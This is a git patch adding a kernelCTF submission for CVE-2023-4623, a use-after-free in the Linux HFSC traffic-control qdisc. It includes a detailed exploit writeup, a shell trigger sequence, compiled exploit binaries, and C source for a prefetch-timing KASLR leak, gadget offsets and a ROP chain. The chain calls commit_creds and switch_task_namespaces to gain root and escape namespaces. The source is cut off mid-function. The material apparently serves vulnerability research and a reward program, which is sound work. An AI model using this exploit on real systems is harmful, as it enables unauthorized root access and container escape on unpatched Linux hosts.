From 361a3fb22af4947af353df3b9918f476296981d0 Mon Sep 17 00:00:00 2001 From: 0x48 Date: Fri, 2 Aug 2024 08:00:06 -0700 Subject: [PATCH] Add kernelCTF CVE-2023-4623_lts_cos (#110) * Add CVE-2023-4623_lts_cos * Remove unnecessary function * Add comments * Fix side-channel reliability * Add docs * Update Makefile * Use seperate KASLR leak * Make requested changes --- .../CVE-2023-4623_lts_cos/docs/exploit.md | 184 +++++++ .../docs/vulnerability.md | 35 ++ .../exploit/cos-97-16919.353.23/Makefile | 6 + .../exploit/cos-97-16919.353.23/exploit | Bin 0 -> 19184 bytes .../exploit/cos-97-16919.353.23/exploit.c | 479 +++++++++++++++++ .../exploit/lts-6.1.36/Makefile | 6 + .../exploit/lts-6.1.36/exploit | Bin 0 -> 19176 bytes .../exploit/lts-6.1.36/exploit.c | 481 ++++++++++++++++++ .../CVE-2023-4623_lts_cos/metadata.json | 41 ++ .../original_exp93.tar.gz | Bin 0 -> 10739 bytes .../original_exp98.tar.gz | Bin 0 -> 10427 bytes 11 files changed, 1232 insertions(+) create mode 100644 pocs/linux/kernelctf/CVE-2023-4623_lts_cos/docs/exploit.md create mode 100644 pocs/linux/kernelctf/CVE-2023-4623_lts_cos/docs/vulnerability.md create mode 100644 pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/cos-97-16919.353.23/Makefile create mode 100644 pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/cos-97-16919.353.23/exploit create mode 100644 pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/cos-97-16919.353.23/exploit.c create mode 100644 pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/lts-6.1.36/Makefile create mode 100644 pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/lts-6.1.36/exploit create mode 100644 pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/lts-6.1.36/exploit.c create mode 100644 pocs/linux/kernelctf/CVE-2023-4623_lts_cos/metadata.json create mode 100644 pocs/linux/kernelctf/CVE-2023-4623_lts_cos/original_exp93.tar.gz create mode 100644 pocs/linux/kernelctf/CVE-2023-4623_lts_cos/original_exp98.tar.gz diff --git a/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/docs/exploit.md new file mode 100644 index 00000000..78757bb4 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/docs/exploit.md @@ -0,0 +1,184 @@ +## Overview + +The vulnerability leads to a use-after-free on an `hfsc_class` object in `hfsc_dequeue()`. By replacing the vulnerable `hfsc_class` with a crafted `simple_xattr`, we can make `hfsc_dequeue()` perform a write-what-where. This is used to overwrite a function pointer in the kernel's `.data` section that is then called to execute a ROP chain and escape the namespace. The kernel base slide, which is needed to determine the write primitive's target address and ROP gadget addresses, is leaked using a prefetch timing side-channel. + +## Setup + +The exploit enters a network namespace as root in order to get `CAP_NET_ADMIN`: + +``` +unshare(CLONE_NEWUSER); +unshare(CLONE_NEWNET); +``` +A temporary file is opened to attach attributes to for the `simple_xattr` spray: +``` +xattr_fd = open("/tmp/", O_TMPFILE | O_RDWR, 0664); +``` +If the kernel base is not provided, `kaslr_leak()` leaks it using a prefetch side-channel (see final section for details). + +## Triggering the Vulnerability + +To trigger the vulnerability, we need to set up an HFSC qdisc and send packets to it. We will need to open two types of sockets: an `AF_NETLINK` socket for configuring the qdisc and an `AF_INET` socket for enqueueing packets at the qdisc. The qdisc is set up on `lo` by sending preconstructed messages to the Netlink socket. The `tf_msg` struct is used to represent the Netlink route messages, which are constructed in `init_nl_msgs()`. The following sequence of messages is sent: + +- `if_up_msg` sets `lo` up so that packets can be sent to the qdisc. +- `newqd_msg` attaches an HFSC qdisc to `lo`. +- `new_rsc_msg` adds a class with an RSC (real-time service curve) to the qdisc as a child of the root class. +- `new_fsc_msg` adds a class with an FSC (link-sharing service curve) to the qdisc as a child of the RSC class. +- At this point an `AF_INET` socket is opened and written to with `loopback_send()`. The message will be enqueued in the FSC class, causing the RSC class to be mistakenly added to the root class's `vt_tree`. +- `delc_msg` deletes the FSC class, then another `delc_msg` deletes the RSC class, leaving a dangling pointer to the underlying `hfsc_class` object in the root class's `vt_tree`. + +## Write-What-Where + +The use-after-free is reached via [`hfsc_dequeue()`](https://elixir.bootlin.com/linux/v6.1.36/source/net/sched/sch_hfsc.c#L1570 "https://elixir.bootlin.com/linux/v6.1.36/source/net/sched/sch_hfsc.c#L1570"), which calls `vttree_get_kminvt()`: + +``` +static struct hfsc_class * +vttree_get_minvt(struct hfsc_class *cl, u64 cur_time) +{ + /* if root-class's cfmin is bigger than cur_time nothing to do */ + if (cl->cl_cfmin > cur_time) + return NULL; + + while (cl->level > 0) { + cl = vttree_firstfit(cl, cur_time); + if (cl == NULL) + return NULL; + /* + * update parent's cl_cvtmin. + */ + if (cl->cl_parent->cl_cvtmin < cl->cl_vt) + cl->cl_parent->cl_cvtmin = cl->cl_vt; + } + return cl; +} +``` + +The loop will eventually assign our dangling pointer to `cl`. Then the line +``` +cl->cl_parent->cl_cvtmin = cl->cl_vt; +``` +gives us an 8-byte write-what-where primitive with the restriction that the value written is greater than what it is replacing. This primitive will be used to overwrite the `qfq_qdisc_ops.change()` function pointer in the kernel's `.data` section with a JOP gadget. Since the QFQ qdisc does not define a change function, `qfq_qdisc_ops.change()` is initially `NULL` and can be overwritten with any value. + +A `simple_xattr` is used to store the target address and value. The exploit uses `spray_simple_xattrs()` to add attributes to a temporary file, which sprays the `kmalloc-1024` cache where the vulnerable `hfsc_class` is located with `simple_xattr` objects. + +The `value` field of `simple_xattr` is filled with a fake `hfsc_class`. The following fields have to be faked: + +- `cl_parent`: The address to write to minus `offsetof(hfsc_class, cl_cvtmin)`. Set to the address of `qfq_qdisc_ops.change()`. +- `cl_vt`: The 8-byte value to write. Set to the address of a JOP gadget. +- `cl_f`: Set to zero to satisfy the `p->cl_f <= cur_time` condition in `vttree_firstfit()`. +- `level`: Set to a non-zero value to prevent `vttree_get_minvt()` from returning the dangling pointer and causing further use-after-frees. +- `vt_node`: This is the red-black tree node that the vulnerable class is accessed through. We make this a black node with `NULL` children to prevent crashes in `init_vf()` and `vttree_get_minvt()`. +- `vt_node.__rb_parent_color`: Set to 1, coloring the node black. +- `vt_node.rb_right`: Set to `NULL` so that it is not dereferenced. +- `vt_node.rb_left`: Set to `NULL` so that it is not dereferenced. +- `cf_node`: There is another dangling pointer to the vulnerable class from root class's `cf_tree`. This is filled in the same way as `vt_node` to prevent a crash in `init_vf()` but is not otherwise relevant. + +Once a `simple_xattr` has been allocated over the vulnerable `hfsc_class`, another FSC class is created with `new_fsc_msg` so that the qdisc has somewhere to enqueue packets (`hfsc_dequeue()` will return early if the qdisc is empty.) The write-what-where in `hfsc_dequeue()` is then triggered by sending an `AF_INET` packet with the `loopback_send()` helper function. + +## ROP Chain + +Now that `qfq_qdisc_ops.change()` has been overwritten, it can be called by sending the `new_qfq_qdisc` message to a Netlink socket. The kernel will then call the overwritten pointer from `qdisc_change()` with `rsi` pointing to the middle of sent message. The data around `rsi` is attacker controlled and contains the ROP chain. + +The `new_qfq_qdisc` message is constructed with two consecutive `TCA_OPTIONS` attributes, each of which consists of a 4-byte `rtattr` header followed by a data buffer. When the overwritten function is called, `rsi` will point to the second attribute, whose data buffer stores a ROP chain copied from `rop_buf`. The preceding attribute's buffer contains a single gadget, copied from `jop_buf` and found at `rsi - 0x70` when the chain is executed. + +The chain starts by calling the JOP gadget stored at `qfq_qdisc_ops.change()`: +``` +push rsi ; jmp qword ptr [rsi - 0x70] +``` +The gadget at `rsi - 0x70` then completes the stack pivot to the ROP chain at `rsi + 8` (the offset of `8` is needed to skip the `rtattr` header): +``` +pop rsp ; pop rbx ; jmp __x86_return_thunk // rsi - 0x70 +``` +The ROP chain starts by copying `rdi` into `rbx`, which restores `rbx`'s previous value: +``` +push rdi ; pop rbx ; pop rbp ; jmp __x86_return_thunk // rsi + 0x8 +0 +``` +This is necessary becuase the chain will eventually return back to the kernel stack and `rbx` is callee saved. After this the usual privilege escalation and namespace escape is performed using `commit_creds()` and `switch_task_namespaces()`: +``` +pop rdi ; jmp __x86_return_thunk +0 +prepare_kernel_cred() +pop rcx ; jmp __x86_return_thunk +commit_creds() +mov rdi, rax ; jmp __x86_indirect_thunk_rcx +pop rdi ; jmp __x86_return_thunk +1 +find_task_by_vpid() +pop rsi ; jmp __x86_return_thunk +init_ns_proxy +pop rcx ; jmp __x86_return_thunk +switch_task_namespaces() +mov rdi, rax ; jmp __x86_indirect_thunk_rcx +``` + +The ROP chain ends by pivoting back to the previous frame on the kernel stack. A kernel stack pointer can be read from `r14` on the LTS instance and `r13` on the COS instance. An offset of `-384` or `-368` is added to this pointer to get the location of the target frame on LTS and COS, respectively. Here are the the gadgets for LTS: + +``` +mov rax, r14 ; pop r14 ; jmp __x86_return_thunk +0 +pop rdx ; jmp __x86_return_thunk +pop r14 ; jmp __x86_return_thunk +push rax ; jmp __x86_indirect_thunk_rdx +pop rcx ; jmp __x86_return_thunk +-384 +add rax, rcx ; jmp __x86_return_thunk +pop rdx ; jmp __x86_return_thunk +pop rsp ; jmp __x86_return_thunk +push rax ; jmp __x86_indirect_thunk_rdx +``` +and COS: +``` +mov rax, r13 ; pop r13 ; pop rbp ; jmp __x86_return_thunk +0 +0 +pop rsi ; jmp __x86_return_thunk +-368 +add rax, rsi ; jmp __x86_return_thunk +pop rdx ; jmp __x86_return_thunk +pop rsp ; jmp __x86_return_thunk +push rax ; jmp __x86_indirect_thunk_rdx +``` +## Infoleak with Prefetch Timing Side-channel + +A simple implementation the prefetch timing side-channel (described in this [P0 blog post](https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html "https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html") and originally from this [paper](https://gruss.cc/files/prefetch.pdf "https://gruss.cc/files/prefetch.pdf") by Daniel Gruss et al.) is used to bypass KASLR. This side-channel exploits timing differences in `prefetch` instructions based on whether the target address is mapped and the cache state. + +Addresses which are mapped and have been recently accessed have a faster prefetch time than unmapped addresses (`prefetch` itself does not count as an access here). We access `sys_getuid()` by calling `getuid()` and then measure prefetch times for all possible locations of `sys_getuid()`. The target instance's kernel base is always located at a `0x1000000` aligned address between `0xffffffff81000000` and `0xffffffffbb000000`, so there are 59 candidate addresses to test. + +The attack first finds the minimum prefetch time `min` for the unmapped address `0xffffffff80000000`. Prefetch times for other unmapped addresses will likely be greater than or equal to to `min`, so any address with a faster prefetch time is assumed to be mapped. The lowest mapped address found this way is taken to be the kernel base. + + + +``` +#define MIN_STEXT 0xffffffff81000000 +#define MAX_STEXT 0xffffffffbb000000 +#define BASE_INC 0x1000000 + +long kaslr_leak (int tries1, int tries2) { + long base = -1, addr; + size_t time; + size_t min = -1; + + addr = 0xffffffff80000000; + for (int i = 0; i < tries1; i++) { + time = onlyreload(addr); + min = min < time ? min : time; + } + + for (int i = 0; i < tries2; i++) { + for (addr = MIN_STEXT; addr <= MAX_STEXT; addr += BASE_INC) { + time = onlyreload(addr + SYS_GETUID); + if (time < min && addr < base) { + base = addr; + } + } + } + return base; +} +``` + +The prefetch timing assembly code in `onlyreload()` is taken from Daniel Gruss's [repository](https://github.com/IAIK/prefetch "https://github.com/IAIK/prefetch") with `cpuid` replaced by `mfence` as suggested in the P0 blog post. + +The original exploit did not preload the target address, but the leak will not work reliably without this on the current server (likely due to increased cache activity). + +This implementation of the side-channel works on the Intel Xeon CPU used by the live instance but not the AMD CPU used by the exploit_repro instance, since there is no timing difference between the two cases it tests for on AMD. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/docs/vulnerability.md new file mode 100644 index 00000000..313bb70e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/docs/vulnerability.md @@ -0,0 +1,35 @@ +## Vulnerability Details + +There is a use-after-free in the traffic control system's HFSC qdisc when a HFSC class with link-sharing has a parent without link-sharing. When a packet is enqueued at the the child class, `init_vf()` will call `vttree_insert()` on the parent. However, when the packet is dequeued, `vttree_remove()` will be skipped in `update_vf()` since the parent does not have the `HFSC_FSC` flag set. This leaves a dangling pointer which can be exploited to cause a use-after-free and achieve privilege escalation. + +The vulnerability has been present since the HFSC qdisc was introduced in kernel version 2.6.3. It was fixed in version 6.5 with commit `b3d26c5702c7 ("net/sched: sch_hfsc: Ensure inner classes have fsc curve")`. This commit made it impossible for classes without link-sharing curves to become parents, since only inner classes with link-sharing curves are meaningful in the HFSC protocol. + +Triggering the vulnerability requires `CONFIG_NET_SCH_HFSC` to be enabled in the kernel configuration. The user must have the `CAP_NET_ADMIN` capability to trigger the vulnerability, which can be gained with access to unprivileged user namespaces. Disabling unprivileged user namespaces prevents the vulnerability from being exploited for privilege escalation. + +## POC +``` +# Set lo up +ip link set lo up + +# Create the HFSC qdisc and root class. +tc qdisc add dev lo parent root handle 1: hfsc def 2 + +# Add a real-time class as a child of root class. +tc class add dev lo parent 1: classid 1:1 hfsc rt umax 1 dmax 1 rate 1 + +# Add a link-sharing class as a child of the real-time class. +tc class add dev lo parent 1:1 classid 1:2 hfsc ls umax 1 dmax 1 rate 1 + +# Enqueue packet at link-sharing class, which calls init_vf() on it. +ping -c1 localhost + +# Delete the parent and child classes, leaving a dangling pointer. +tc class del dev lo classid 1:2 +tc class del dev lo classid 1:1 + +# Add a link-sharing class to enqueue packets to (if the queue is empty, hfsc_dequeue() will return before reaching the UaF) +tc class add dev lo parent 1: classid 1:2 hfsc ls umax 1 dmax 1 rate 1 + +# Trigger use after free in hfsc_dequeue() +ping -c1 localhost +``` \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/cos-97-16919.353.23/Makefile b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/cos-97-16919.353.23/Makefile new file mode 100644 index 00000000..0a07db56 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/cos-97-16919.353.23/Makefile @@ -0,0 +1,6 @@ +CFLAGS = -Wno-incompatible-pointer-types -Wno-format -static + +exploit: exploit.c + +run: + ./exploit diff --git a/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/cos-97-16919.353.23/exploit b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/cos-97-16919.353.23/exploit new file mode 100644 index 0000000000000000000000000000000000000000..fc4f3b4c4568f78a8f6e9b20f8d3aaf8f09eb711 GIT binary patch literal 19184 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

-Lc9nP>XWY9+v@Tv{zF0Lhh zYSkAA1lydh9XMF)ce9}UV1gfl&A3aU7J0?g=pMf@{^22Y#(Y zItpy1$d5;?M8jxVSFa`%y6$qGo8^H;&Z6t)BfVBrT*&XEAmX4gKagw{VCCUmoe^gn zAWjl<*r96tgNz_6_Xi@L^4hw_g%Rg=iEZ~s%iE$}{PzHuMal{5aN^^Ia`!Gj>PZ$2uR1Kj3p9ac39ddH+aKnhg zgsPaOg@&r%p)qulCUt9FT&l{p|klmHKs3 zPVKiTsP?@{pJJA+PtO+=6S*Co-j`GR|8f}y2~o&bbBO~n>#O}c1^Kr(CWTU2SMaec zeYMZ0pz>Fl$i}~rrLUeB6#UPuhd$M=viDC}`szK0f@;5C$!GWft5RQ$pW0tk@I}Rt z2D1JCPL_W5|MPN2H7sFv`(j@zlRs*|Qo$CwI7}tG{pZ1>M;axj_Mg=M|B@}Qa0Pz~ zU0U)heYO8NxDZ4XB`2^9uIR6ULHVQf)jnhLf6-U=-b96RSLv($RQ3P!43cpamEWpe zl?VI5GqYddVf|bo=$6uiqcbXBuiiID-23~JxgE9!Y>0S zTdMyxRYGFEd{ES~@?UVFAPY{|@&0G`Q|ZfLP~u#c5E)huvr?SPZjtS8p~)TPL- +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* Prefetch kaslr leak */ +#define MIN_STEXT 0xffffffff81000000 +#define MAX_STEXT 0xffffffffbb000000 +#define BASE_INC 0x1000000 +#define SYS_GETUID 0x0f41c0 + +/* simple_xattr spray */ +#define XATTR_SPRAY 32 +#define XATTR_HEADER_SIZE 32 +#define XATTR_SLAB_LEN 1024 +#define XATTR_DATA_LEN (XATTR_SLAB_LEN/2) + +/* hfsc_class offsets */ +#define LEVEL_OFFSET 92 +#define CL_PARENT_OFFSET 104 +#define VT_NODE_OFFSET 184 +#define CF_NODE_OFFSET 216 +#define CL_VT_OFFSET 272 +#define CL_CVTMIN_OFFSET 304 + +/* Data offsets */ +#define INIT_NSPROXY 0x22670c0 +#define QFQ_CHANGE_QDISC_LOC 0x25106f8 + +/* Function offsets */ +#define PREPARE_KERNEL_CRED 0x10b5e0 +#define COMMIT_CREDS 0x10b360 +#define FIND_TASK_BY_VPID 0x102440 +#define SWITCH_TASK_NAMESPACES 0x109830 + +/* Gadget offsets */ +#define PUSH_RSI_JMP_QWORD_PTR_RSI_MINUS_0x70 0xba80ec +#define PUSH_RDI_POP_RBX_RET_THUNK 0x74cf18 +#define POP_RSP_POP_RBX_RET_THUNK 0x791fcf +#define POP_RDI_RET_THUNK 0x117d6f +#define POP_RSI_RET_THUNK 0x177d1c +#define POP_RDX_RET_THUNK 0x06238d +#define POP_RCX_RET_THUNK 0x02582c +#define MOV_RDI_RAX_THUNK_RCX 0x34d9cd + +#define MOV_RAX_R13_POP_RBX_POP_RBP_RET_THUNK 0x58391d +#define ADD_RAX_RSI_RET_THUNK 0x077d1a +#define PUSH_RAX_JMP_RDX_THUNK 0x832707 +#define POP_RSP_RET_THUNK 0x1c7db8 + + +#define err_exit(s) do { perror(s); exit(EXIT_FAILURE); } while(0) + +struct tf_msg { + struct nlmsghdr nh; + struct tcmsg tm; +#define TC_DATA_LEN 512 + char attrbuf[TC_DATA_LEN]; +}; + +struct if_msg { + struct nlmsghdr nh; + struct ifinfomsg ifi; +}; + +/* Netlink message for setting loopback up. */ +struct if_msg if_up_msg = { + { + .nlmsg_len = 32, + .nlmsg_type = RTM_NEWLINK, + .nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK, + }, + { + .ifi_family = AF_UNSPEC, + .ifi_type = ARPHRD_NETROM, + .ifi_index = 1, + .ifi_flags = IFF_UP, + .ifi_change = 1, + }, + +}; + + +int xattr_fd; +char rop_buf[512]; +char jop_buf[0x70]; + +void pin_cpu (int cpu) { + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (sched_setaffinity(0, sizeof(set), &set)) + err_exit("[-] sched_setaffinity"); +} + +/* + * Prefetch timing code from Daniel Gruss. + * https://github.com/IAIK/prefetch + */ + +inline __attribute__((always_inline)) size_t rdtsc_begin () { + size_t a, d; + asm volatile ( + "mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +inline __attribute__((always_inline)) size_t rdtsc_end () { + size_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +void prefetch (void* p) { + asm volatile ("prefetchnta (%0)" : : "r" (p)); + asm volatile ("prefetcht2 (%0)" : : "r" (p)); +} + +size_t onlyreload (void* addr) { + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + return delta; +} + +/* + * Simple implementation of prefetch sidechannel to + * bypass KASLR. + */ + +long kaslr_leak (int tries1, int tries2) { + long base = -1, addr; + size_t time; + size_t min = -1; + + addr = 0xffffffff80000000; + for (int i = 0; i < tries1; i++) { + time = onlyreload(addr); + min = min < time ? min : time; + } + + for (int i = 0; i < tries2; i++) { + for (addr = MIN_STEXT; addr <= MAX_STEXT; addr += BASE_INC) { + time = onlyreload(addr + SYS_GETUID); + if (time < min && addr < base) { + base = addr; + } + } + } + return base; +} + +void init_rop (long *rop, long *jop, long kbase) { + *jop++ = kbase + POP_RSP_POP_RBX_RET_THUNK; + /* commit_creds(prepare_kernel_cred(0)) */ + *rop++ = kbase + POP_RDI_RET_THUNK; + *rop++ = 0; + *rop++ = kbase + PREPARE_KERNEL_CRED; + *rop++ = kbase + POP_RCX_RET_THUNK; + *rop++ = kbase + COMMIT_CREDS; + *rop++ = kbase + MOV_RDI_RAX_THUNK_RCX; + /* switch_task_namespaces(find_task_by_vpid(1, init_ns_proxy) */ + *rop++ = kbase + POP_RDI_RET_THUNK; + *rop++ = 1; + *rop++ = kbase + FIND_TASK_BY_VPID; + *rop++ = kbase + POP_RSI_RET_THUNK; + *rop++ = kbase + INIT_NSPROXY; + *rop++ = kbase + POP_RCX_RET_THUNK; + *rop++ = kbase + SWITCH_TASK_NAMESPACES; + *rop++ = kbase + MOV_RDI_RAX_THUNK_RCX; + /* return back to the original stack */ + *rop++ = kbase + MOV_RAX_R13_POP_RBX_POP_RBP_RET_THUNK; + rop++; + rop++; + *rop++ = kbase + POP_RSI_RET_THUNK; + *rop++ = (long)-0x170; + *rop++ = kbase + ADD_RAX_RSI_RET_THUNK; + *rop++ = kbase + POP_RDX_RET_THUNK; + *rop++ = kbase + POP_RSP_RET_THUNK; + *rop++ = kbase + PUSH_RAX_JMP_RDX_THUNK; +} + +/* Helper functions for creating rtnetlink messages. */ + +unsigned short add_rtattr (struct 